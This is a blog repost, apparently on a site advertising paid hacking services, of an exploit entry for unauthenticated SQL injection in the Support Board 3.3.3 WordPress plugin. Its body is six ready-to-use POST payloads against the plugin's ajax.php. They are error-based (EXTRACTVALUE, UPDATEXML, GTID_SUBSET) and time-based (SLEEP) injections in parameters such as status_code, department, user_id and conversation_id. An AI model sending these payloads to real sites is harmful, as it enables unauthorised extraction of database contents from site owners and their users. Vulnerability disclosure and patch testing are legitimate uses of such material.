Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863544152

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated)
# Date: 29.08.2021
# Exploit Author: John Jefferson Li <yiyohwi@naver.com>
# Vendor Homepage: https://board.support/
# Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943
# Version: 3.3.3
# Tested on: Ubuntu 20.04.2 LTS

----- PoC 1: Error Based SQLi (status_code) -----

Request 

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: status_code (POST)

function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 2: Error Based SQLi (department)-----

Request 

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: department (POST)

function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 3: Error Based SQLi (user_id) -----

Request 

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: user_id (POST)

function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 4: Time Based SQLi (conversation_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_id (POST)

function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 5: Time Based SQLi (conversation_status_code)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_status_code (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 6: Time Based SQLi (recipient_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: recipient_id (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false